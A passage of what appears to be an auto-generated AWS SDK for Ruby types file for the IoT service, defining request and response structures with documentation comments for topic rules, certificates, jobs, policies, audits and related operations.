# firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # ], # rule_disabled: false, # aws_iot_sql_version: "AwsIotSqlVersion", # error_action: { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # }, # tags: "String", # } # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # # @!attribute [rw] topic_rule_payload # The rule payload. # @return [Types::TopicRulePayload] # # @!attribute [rw] tags # Metadata which can be used to manage the topic rule. # # <note markdown="1"> For URI Request parameters use format: # ...key1=value1&amp;key2=value2... # # For the CLI command-line parameter use format: --tags # "key1=value1&amp;key2=value2..." # # For the cli-input-json file use format: "tags": # "key1=value1&amp;key2=value2..." # # </note> # @return [String] # class CreateTopicRuleRequest < Struct.new( :rule_name, :topic_rule_payload, :tags) include Aws::Structure end # Describes a custom method used to code sign a file. # # @note When making an API call, you may pass CustomCodeSigning # data as a hash: # # { # signature: { # inline_document: "data", # }, # certificate_chain: { # certificate_name: "CertificateName", # inline_document: "InlineDocument", # }, # hash_algorithm: "HashAlgorithm", # signature_algorithm: "SignatureAlgorithm", # } # # @!attribute [rw] signature # The signature for the file. # @return [Types::CodeSigningSignature] # # @!attribute [rw] certificate_chain # The certificate chain. # @return [Types::CodeSigningCertificateChain] # # @!attribute [rw] hash_algorithm # The hash algorithm used to code sign the file. # @return [String] # # @!attribute [rw] signature_algorithm # The signature algorithm used to code sign the file. # @return [String] # class CustomCodeSigning < Struct.new( :signature, :certificate_chain, :hash_algorithm, :signature_algorithm) include Aws::Structure end # @note When making an API call, you may pass DeleteAccountAuditConfigurationRequest # data as a hash: # # { # delete_scheduled_audits: false, # } # # @!attribute [rw] delete_scheduled_audits # If true, all scheduled audits are deleted. # @return [Boolean] # class DeleteAccountAuditConfigurationRequest < Struct.new( :delete_scheduled_audits) include Aws::Structure end class DeleteAccountAuditConfigurationResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # } # # @!attribute [rw] authorizer_name # The name of the authorizer to delete. # @return [String] # class DeleteAuthorizerRequest < Struct.new( :authorizer_name) include Aws::Structure end class DeleteAuthorizerResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # required # expected_version: 1, # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] expected_version # The expected version of the billing group. If the version of the # billing group does not match the expected version specified in the # request, the `DeleteBillingGroup` request is rejected with a # `VersionConflictException`. # @return [Integer] # class DeleteBillingGroupRequest < Struct.new( :billing_group_name, :expected_version) include Aws::Structure end class DeleteBillingGroupResponse < Aws::EmptyStructure; end # Input for the DeleteCACertificate operation. # # @note When making an API call, you may pass DeleteCACertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # } # # @!attribute [rw] certificate_id # The ID of the certificate to delete. (The last part of the # certificate ARN contains the certificate ID.) # @return [String] # class DeleteCACertificateRequest < Struct.new( :certificate_id) include Aws::Structure end # The output for the DeleteCACertificate operation. # class DeleteCACertificateResponse < Aws::EmptyStructure; end # The input for the DeleteCertificate operation. # # @note When making an API call, you may pass DeleteCertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # force_delete: false, # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] force_delete # Forces the deletion of a certificate if it is inactive and is not # attached to an IoT thing. # @return [Boolean] # class DeleteCertificateRequest < Struct.new( :certificate_id, :force_delete) include Aws::Structure end # You can't delete the resource because it is attached to one or more # resources. # # @!attribute [rw] message # The message for the exception. # @return [String] # class DeleteConflictException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass DeleteDomainConfigurationRequest # data as a hash: # # { # domain_configuration_name: "DomainConfigurationName", # required # } # # @!attribute [rw] domain_configuration_name # The name of the domain configuration to be deleted. # @return [String] # class DeleteDomainConfigurationRequest < Struct.new( :domain_configuration_name) include Aws::Structure end class DeleteDomainConfigurationResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteDynamicThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # expected_version: 1, # } # # @!attribute [rw] thing_group_name # The name of the dynamic thing group to delete. # @return [String] # # @!attribute [rw] expected_version # The expected version of the dynamic thing group to delete. # @return [Integer] # class DeleteDynamicThingGroupRequest < Struct.new( :thing_group_name, :expected_version) include Aws::Structure end class DeleteDynamicThingGroupResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteJobExecutionRequest # data as a hash: # # { # job_id: "JobId", # required # thing_name: "ThingName", # required # execution_number: 1, # required # force: false, # } # # @!attribute [rw] job_id # The ID of the job whose execution on a particular device will be # deleted. # @return [String] # # @!attribute [rw] thing_name # The name of the thing whose job execution will be deleted. # @return [String] # # @!attribute [rw] execution_number # The ID of the job execution to be deleted. The `executionNumber` # refers to the execution of a particular job on a particular device. # # Note that once a job execution is deleted, the `executionNumber` may # be reused by IoT, so be sure you get and use the correct value here. # @return [Integer] # # @!attribute [rw] force # (Optional) When true, you can delete a job execution which is # "IN\_PROGRESS". Otherwise, you can only delete a job execution # which is in a terminal state ("SUCCEEDED", "FAILED", # "REJECTED", "REMOVED" or "CANCELED") or an exception will # occur. The default is false. # # <note markdown="1"> Deleting a job execution which is "IN\_PROGRESS", will cause the # device to be unable to access job information or update the job # execution status. Use caution and ensure that the device is able to # recover to a valid state. # # </note> # @return [Boolean] # class DeleteJobExecutionRequest < Struct.new( :job_id, :thing_name, :execution_number, :force) include Aws::Structure end # @note When making an API call, you may pass DeleteJobRequest # data as a hash: # # { # job_id: "JobId", # required # force: false, # } # # @!attribute [rw] job_id # The ID of the job to be deleted. # # After a job deletion is completed, you may reuse this jobId when you # create a new job. However, this is not recommended, and you must # ensure that your devices are not using the jobId to refer to the # deleted job. # @return [String] # # @!attribute [rw] force # (Optional) When true, you can delete a job which is # "IN\_PROGRESS". Otherwise, you can only delete a job which is in a # terminal state ("COMPLETED" or "CANCELED") or an exception will # occur. The default is false. # # <note markdown="1"> Deleting a job which is "IN\_PROGRESS", will cause a device which # is executing the job to be unable to access job information or # update the job execution status. Use caution and ensure that each # device executing a job which is deleted is able to recover to a # valid state. # # </note> # @return [Boolean] # class DeleteJobRequest < Struct.new( :job_id, :force) include Aws::Structure end # @note When making an API call, you may pass DeleteMitigationActionRequest # data as a hash: # # { # action_name: "MitigationActionName", # required # } # # @!attribute [rw] action_name # The name of the mitigation action that you want to delete. # @return [String] # class DeleteMitigationActionRequest < Struct.new( :action_name) include Aws::Structure end class DeleteMitigationActionResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteOTAUpdateRequest # data as a hash: # # { # ota_update_id: "OTAUpdateId", # required # delete_stream: false, # force_delete_aws_job: false, # } # # @!attribute [rw] ota_update_id # The OTA update ID to delete. # @return [String] # # @!attribute [rw] delete_stream # Specifies if the stream associated with an OTA update should be # deleted when the OTA update is deleted. # @return [Boolean] # # @!attribute [rw] force_delete_aws_job # Specifies if the AWS Job associated with the OTA update should be # deleted with the OTA update is deleted. # @return [Boolean] # class DeleteOTAUpdateRequest < Struct.new( :ota_update_id, :delete_stream, :force_delete_aws_job) include Aws::Structure end class DeleteOTAUpdateResponse < Aws::EmptyStructure; end # The input for the DeletePolicy operation. # # @note When making an API call, you may pass DeletePolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # } # # @!attribute [rw] policy_name # The name of the policy to delete. # @return [String] # class DeletePolicyRequest < Struct.new( :policy_name) include Aws::Structure end # The input for the DeletePolicyVersion operation. # # @note When making an API call, you may pass DeletePolicyVersionRequest # data as a hash: # # { # policy_name: "PolicyName", # required # policy_version_id: "PolicyVersionId", # required # } # # @!attribute [rw] policy_name # The name of the policy. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # class DeletePolicyVersionRequest < Struct.new( :policy_name, :policy_version_id) include Aws::Structure end # @note When making an API call, you may pass DeleteProvisioningTemplateRequest # data as a hash: # # { # template_name: "TemplateName", # required # } # # @!attribute [rw] template_name # The name of the fleet provision template to delete. # @return [String] # class DeleteProvisioningTemplateRequest < Struct.new( :template_name) include Aws::Structure end class DeleteProvisioningTemplateResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteProvisioningTemplateVersionRequest # data as a hash: # # { # template_name: "TemplateName", # required # version_id: 1, # required # } # # @!attribute [rw] template_name # The name of the fleet provisioning template version to delete. # @return [String] # # @!attribute [rw] version_id # The fleet provisioning template version ID to delete. # @return [Integer] # class DeleteProvisioningTemplateVersionRequest < Struct.new( :template_name, :version_id) include Aws::Structure end class DeleteProvisioningTemplateVersionResponse < Aws::EmptyStructure; end # The input for the DeleteRegistrationCode operation. # # @api private # class DeleteRegistrationCodeRequest < Aws::EmptyStructure; end # The output for the DeleteRegistrationCode operation. # class DeleteRegistrationCodeResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteRoleAliasRequest # data as a hash: # # { # role_alias: "RoleAlias", # required # } # # @!attribute [rw] role_alias # The role alias to delete. # @return [String] # class DeleteRoleAliasRequest < Struct.new( :role_alias) include Aws::Structure end class DeleteRoleAliasResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteScheduledAuditRequest # data as a hash: # # { # scheduled_audit_name: "ScheduledAuditName", # required # } # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit you want to delete. # @return [String] # class DeleteScheduledAuditRequest < Struct.new( :scheduled_audit_name) include Aws::Structure end class DeleteScheduledAuditResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # expected_version: 1, # } # # @!attribute [rw] security_profile_name # The name of the security profile to be deleted. # @return [String] # # @!attribute [rw] expected_version # The expected version of the security profile. A new version is # generated whenever the security profile is updated. If you specify a # value that is different from the actual version, a # `VersionConflictException` is thrown. # @return [Integer] # class DeleteSecurityProfileRequest < Struct.new( :security_profile_name, :expected_version) include Aws::Structure end class DeleteSecurityProfileResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteStreamRequest # data as a hash: # # { # stream_id: "StreamId", # required # } # # @!attribute [rw] stream_id # The stream ID. # @return [String] # class DeleteStreamRequest < Struct.new( :stream_id) include Aws::Structure end class DeleteStreamResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # expected_version: 1, # } # # @!attribute [rw] thing_group_name # The name of the thing group to delete. # @return [String] # # @!attribute [rw] expected_version # The expected version of the thing group to delete. # @return [Integer] # class DeleteThingGroupRequest < Struct.new( :thing_group_name, :expected_version) include Aws::Structure end class DeleteThingGroupResponse < Aws::EmptyStructure; end # The input for the DeleteThing operation. # # @note When making an API call, you may pass DeleteThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # expected_version: 1, # } # # @!attribute [rw] thing_name # The name of the thing to delete. # @return [String] # # @!attribute [rw] expected_version # The expected version of the thing record in the registry. If the # version of the record in the registry does not match the expected # version specified in the request, the `DeleteThing` request is # rejected with a `VersionConflictException`. # @return [Integer] # class DeleteThingRequest < Struct.new( :thing_name, :expected_version) include Aws::Structure end # The output of the DeleteThing operation. # class DeleteThingResponse < Aws::EmptyStructure; end # The input for the DeleteThingType operation. # # @note When making an API call, you may pass DeleteThingTypeRequest # data as a hash: # # { # thing_type_name: "ThingTypeName", # required # } # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # class DeleteThingTypeRequest < Struct.new( :thing_type_name) include Aws::Structure end # The output for the DeleteThingType operation. # class DeleteThingTypeResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass DeleteTopicRuleDestinationRequest # data as a hash: # # { # arn: "AwsArn", # required # } # # @!attribute [rw] arn # The ARN of the topic rule destination to delete. # @return [String] # class DeleteTopicRuleDestinationRequest < Struct.new( :arn) include Aws::Structure end class DeleteTopicRuleDestinationResponse < Aws::EmptyStructure; end # The input for the DeleteTopicRule operation. # # @note When making an API call, you may pass DeleteTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # } # # @!attribute [rw] rule_name # The name of the rule. # @return [String] # class DeleteTopicRuleRequest < Struct.new( :rule_name) include Aws::Structure end # @note When making an API call, you may pass DeleteV2LoggingLevelRequest # data as a hash: # # { # target_type: "DEFAULT", # required, accepts DEFAULT, THING_GROUP # target_name: "LogTargetName", # required # } # # @!attribute [rw] target_type # The type of resource for which you are configuring logging. Must be # `THING_Group`. # @return [String] # # @!attribute [rw] target_name # The name of the resource for which you are configuring logging. # @return [String] # class DeleteV2LoggingLevelRequest < Struct.new( :target_type, :target_name) include Aws::Structure end # Contains information that denied the authorization. # # @!attribute [rw] implicit_deny # Information that implicitly denies the authorization. When a policy # doesn't explicitly deny or allow an action on a resource it is # considered an implicit deny. # @return [Types::ImplicitDeny] # # @!attribute [rw] explicit_deny # Information that explicitly denies the authorization. # @return [Types::ExplicitDeny] # class Denied < Struct.new( :implicit_deny, :explicit_deny) include Aws::Structure end # The input for the DeprecateThingType operation. # # @note When making an API call, you may pass DeprecateThingTypeRequest # data as a hash: # # { # thing_type_name: "ThingTypeName", # required # undo_deprecate: false, # } # # @!attribute [rw] thing_type_name # The name of the thing type to deprecate. # @return [String] # # @!attribute [rw] undo_deprecate # Whether to undeprecate a deprecated thing type. If **true**, the # thing type will not be deprecated anymore and you can associate it # with things. # @return [Boolean] # class DeprecateThingTypeRequest < Struct.new( :thing_type_name, :undo_deprecate) include Aws::Structure end # The output for the DeprecateThingType operation. # class DeprecateThingTypeResponse < Aws::EmptyStructure; end # @api private # class DescribeAccountAuditConfigurationRequest < Aws::EmptyStructure; end # @!attribute [rw] role_arn # The ARN of the role that grants permission to AWS IoT to access # information about your devices, policies, certificates, and other # items as required when performing an audit. # # On the first call to `UpdateAccountAuditConfiguration`, this # parameter is required. # @return [String] # # @!attribute [rw] audit_notification_target_configurations # Information about the targets to which audit notifications are sent # for this account. # @return [Hash<String,Types::AuditNotificationTarget>] # # @!attribute [rw] audit_check_configurations # Which audit checks are enabled and disabled for this account. # @return [Hash<String,Types::AuditCheckConfiguration>] # class DescribeAccountAuditConfigurationResponse < Struct.new( :role_arn, :audit_notification_target_configurations, :audit_check_configurations) include Aws::Structure end # @note When making an API call, you may pass DescribeAuditFindingRequest # data as a hash: # # { # finding_id: "FindingId", # required # } # # @!attribute [rw] finding_id # A unique identifier for a single audit finding. You can use this # identifier to apply mitigation actions to the finding. # @return [String] # class DescribeAuditFindingRequest < Struct.new( :finding_id) include Aws::Structure end # @!attribute [rw] finding # The findings (results) of the audit. # @return [Types::AuditFinding] # class DescribeAuditFindingResponse < Struct.new( :finding) include Aws::Structure end # @note When making an API call, you may pass DescribeAuditMitigationActionsTaskRequest # data as a hash: # # { # task_id: "AuditMitigationActionsTaskId", # required # } # # @!attribute [rw] task_id # The unique identifier for the audit mitigation task. # @return [String] # class DescribeAuditMitigationActionsTaskRequest < Struct.new( :task_id) include Aws::Structure end # @!attribute [rw] task_status # The current status of the task. # @return [String] # # @!attribute [rw] start_time # The date and time when the task was started. # @return [Time] # # @!attribute [rw] end_time # The date and time when the task was completed or canceled. # @return [Time] # # @!attribute [rw] task_statistics # Aggregate counts of the results when the mitigation tasks were # applied to the findings for this audit mitigation actions task. # @return [Hash<String,Types::TaskStatisticsForAuditCheck>] # # @!attribute [rw] target # Identifies the findings to which the mitigation actions are applied. # This can be by audit checks, by audit task, or a set of findings. # @return [Types::AuditMitigationActionsTaskTarget] # # @!attribute [rw] audit_check_to_actions_mapping # Specifies the mitigation actions that should be applied to specific # audit checks. # @return [Hash<String,Array<String>>] # # @!attribute [rw] actions_definition # Specifies the mitigation actions and their parameters that are # applied as part of this task. # @return [Array<Types::MitigationAction>] # class DescribeAuditMitigationActionsTaskResponse < Struct.new( :task_status, :start_time, :end_time, :task_statistics, :target, :audit_check_to_actions_mapping, :actions_definition) include Aws::Structure end # @note When making an API call, you may pass DescribeAuditTaskRequest # data as a hash: # # { # task_id: "AuditTaskId", # required # } # # @!attribute [rw] task_id # The ID of the audit whose information you want to get. # @return [String] # class DescribeAuditTaskRequest < Struct.new( :task_id) include Aws::Structure end # @!attribute [rw] task_status # The status of the audit: one of "IN\_PROGRESS", "COMPLETED", # "FAILED", or "CANCELED". # @return [String] # # @!attribute [rw] task_type # The type of audit: "ON\_DEMAND\_AUDIT\_TASK" or # "SCHEDULED\_AUDIT\_TASK". # @return [String] # # @!attribute [rw] task_start_time # The time the audit started. # @return [Time] # # @!attribute [rw] task_statistics # Statistical information about the audit. # @return [Types::TaskStatistics] # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit (only if the audit was a scheduled # audit). # @return [String] # # @!attribute [rw] audit_details # Detailed information about each check performed during this audit. # @return [Hash<String,Types::AuditCheckDetails>] # class DescribeAuditTaskResponse < Struct.new( :task_status, :task_type, :task_start_time, :task_statistics, :scheduled_audit_name, :audit_details) include Aws::Structure end # @note When making an API call, you may pass DescribeAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # } # # @!attribute [rw] authorizer_name # The name of the authorizer to describe. # @return [String] # class DescribeAuthorizerRequest < Struct.new( :authorizer_name) include Aws::Structure end # @!attribute [rw] authorizer_description # The authorizer description. # @return [Types::AuthorizerDescription] # class DescribeAuthorizerResponse < Struct.new( :authorizer_description) include Aws::Structure end # @note When making an API call, you may pass DescribeBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # required # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # class DescribeBillingGroupRequest < Struct.new( :billing_group_name) include Aws::Structure end # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] billing_group_id # The ID of the billing group. # @return [String] # # @!attribute [rw] billing_group_arn # The ARN of the billing group. # @return [String] # # @!attribute [rw] version # The version of the billing group. # @return [Integer] # # @!attribute [rw] billing_group_properties # The properties of the billing group. # @return [Types::BillingGroupProperties] # # @!attribute [rw] billing_group_metadata # Additional information about the billing group. # @return [Types::BillingGroupMetadata] # class DescribeBillingGroupResponse < Struct.new( :billing_group_name, :billing_group_id, :billing_group_arn, :version, :billing_group_properties, :billing_group_metadata) include Aws::Structure end # The input for the DescribeCACertificate operation. # # @note When making an API call, you may pass DescribeCACertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # } # # @!attribute [rw] certificate_id # The CA certificate identifier. # @return [String] # class DescribeCACertificateRequest < Struct.new( :certificate_id) include Aws::Structure end # The output from the DescribeCACertificate operation. # # @!attribute [rw] certificate_description # The CA certificate description. # @return [Types::CACertificateDescription] # # @!attribute [rw] registration_config # Information about the registration configuration. # @return [Types::RegistrationConfig] # class DescribeCACertificateResponse < Struct.new( :certificate_description, :registration_config) include Aws::Structure end # The input for the DescribeCertificate operation. # # @note When making an API call, you may pass DescribeCertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # class DescribeCertificateRequest < Struct.new( :certificate_id) include Aws::Structure end # The output of the DescribeCertificate operation. # # @!attribute [rw] certificate_description # The description of the certificate. # @return [Types::CertificateDescription] # class DescribeCertificateResponse < Struct.new( :certificate_description) include Aws::Structure end # @api private # class DescribeDefaultAuthorizerRequest < Aws::EmptyStructure; end # @!attribute [rw] authorizer_description # The default authorizer's description. # @return [Types::AuthorizerDescription] # class DescribeDefaultAuthorizerResponse < Struct.new( :authorizer_description) include Aws::Structure end # @note When making an API call, you may pass DescribeDomainConfigurationRequest # data as a hash: # # { # domain_configuration_name: "ReservedDomainConfigurationName", # required # } # # @!attribute [rw] domain_configuration_name # The name of the domain configuration. # @return [String] # class DescribeDomainConfigurationRequest < Struct.new( :domain_configuration_name) include Aws::Structure end # @!attribute [rw] domain_configuration_name # The name of the domain configuration. # @return [String] # # @!attribute [rw] domain_configuration_arn # The ARN of the domain configuration. # @return [String] # # @!attribute [rw] domain_name # The name of the domain. # @return [String] # # @!attribute [rw] server_certificates # A list containing summary information about the server certificate # included in the domain configuration. # @return [Array<Types::ServerCertificateSummary>] # # @!attribute [rw] authorizer_config # An object that specifies the authorization service for a domain. # @return [Types::AuthorizerConfig] # # @!attribute [rw] domain_configuration_status # A Boolean value that specifies the current state of the domain # configuration. # @return [String] # # @!attribute [rw] service_type # The type of service delivered by the endpoint. # @return [String] # # @!attribute [rw] domain_type # The type of the domain. # @return [String] # class DescribeDomainConfigurationResponse < Struct.new( :domain_configuration_name, :domain_configuration_arn, :domain_name, :server_certificates, :authorizer_config, :domain_configuration_status, :service_type, :domain_type) include Aws::Structure end # The input for the DescribeEndpoint operation. # # @note When making an API call, you may pass DescribeEndpointRequest # data as a hash: # # { # endpoint_type: "EndpointType", # } # # @!attribute [rw] endpoint_type # The endpoint type. Valid endpoint types include: # # * `iot:Data` - Returns a VeriSign signed data endpoint. # # ^ # ^ # # * `iot:Data-ATS` - Returns an ATS signed data endpoint. # # ^ # ^ # # * `iot:CredentialProvider` - Returns an AWS IoT credentials provider # API endpoint. # # ^ # ^ # # * `iot:Jobs` - Returns an AWS IoT device management Jobs API # endpoint. # # ^ # @return [String] # class DescribeEndpointRequest < Struct.new( :endpoint_type) include Aws::Structure end # The output from the DescribeEndpoint operation. # # @!attribute [rw] endpoint_address # The endpoint. The format of the endpoint is as follows: # *identifier*.iot.*region*.amazonaws.com. # @return [String] # class DescribeEndpointResponse < Struct.new( :endpoint_address) include Aws::Structure end # @api private # class DescribeEventConfigurationsRequest < Aws::EmptyStructure; end # @!attribute [rw] event_configurations # The event configurations. # @return [Hash<String,Types::Configuration>] # # @!attribute [rw] creation_date # The creation date of the event configuration. # @return [Time] # # @!attribute [rw] last_modified_date # The date the event configurations were last modified. # @return [Time] # class DescribeEventConfigurationsResponse < Struct.new( :event_configurations, :creation_date, :last_modified_date) include Aws::Structure end # @note When making an API call, you may pass DescribeIndexRequest # data as a hash: # # { # index_name: "IndexName", # required # } # # @!attribute [rw] index_name # The index name. # @return [String] # class DescribeIndexRequest < Struct.new( :index_name) include Aws::Structure end # @!attribute [rw] index_name # The index name. # @return [String] # # @!attribute [rw] index_status # The index status. # @return [String] # # @!attribute [rw] schema # Contains a value that specifies the type of indexing performed. # Valid values are: # # * REGISTRY – Your thing index contains only registry data. # # * REGISTRY\_AND\_SHADOW - Your thing index contains registry data # and shadow data. # # * REGISTRY\_AND\_CONNECTIVITY\_STATUS - Your thing index contains # registry data and thing connectivity status data. # # * REGISTRY\_AND\_SHADOW\_AND\_CONNECTIVITY\_STATUS - Your thing # index contains registry data, shadow data, and thing connectivity # status data. # @return [String] # class DescribeIndexResponse < Struct.new( :index_name, :index_status, :schema) include Aws::Structure end # @note When making an API call, you may pass DescribeJobExecutionRequest # data as a hash: # # { # job_id: "JobId", # required # thing_name: "ThingName", # required # execution_number: 1, # } # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] thing_name # The name of the thing on which the job execution is running. # @return [String] # # @!attribute [rw] execution_number # A string (consisting of the digits "0" through "9" which is used # to specify a particular job execution on a particular device. # @return [Integer] # class DescribeJobExecutionRequest < Struct.new( :job_id, :thing_name, :execution_number) include Aws::Structure end # @!attribute [rw] execution # Information about the job execution. # @return [Types::JobExecution] # class DescribeJobExecutionResponse < Struct.new( :execution) include Aws::Structure end # @note When making an API call, you may pass DescribeJobRequest # data as a hash: # # { # job_id: "JobId", # required # } # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # class DescribeJobRequest < Struct.new( :job_id) include Aws::Structure end # @!attribute [rw] document_source # An S3 link to the job document. # @return [String] # # @!attribute [rw] job # Information about the job. # @return [Types::Job] # class DescribeJobResponse < Struct.new( :document_source, :job) include Aws::Structure end # @note When making an API call, you may pass DescribeMitigationActionRequest # data as a hash: # # { # action_name: "MitigationActionName", # required # } # # @!attribute [rw] action_name # The friendly name that uniquely identifies the mitigation action. # @return [String] # class DescribeMitigationActionRequest < Struct.new( :action_name) include Aws::Structure end # @!attribute [rw] action_name # The friendly name that uniquely identifies the mitigation action. # @return [String] # # @!attribute [rw] action_type # The type of mitigation action. # @return [String] # # @!attribute [rw] action_arn # The ARN that identifies this migration action. # @return [String] # # @!attribute [rw] action_id # A unique identifier for this action. # @return [String] # # @!attribute [rw] role_arn # The ARN of the IAM role used to apply this action. # @return [String] # # @!attribute [rw] action_params # Parameters that control how the mitigation action is applied, # specific to the type of mitigation action. # @return [Types::MitigationActionParams] # # @!attribute [rw] creation_date # The date and time when the mitigation action was added to your AWS # account. # @return [Time] # # @!attribute [rw] last_modified_date # The date and time when the mitigation action was last changed. # @return [Time] # class DescribeMitigationActionResponse < Struct.new( :action_name, 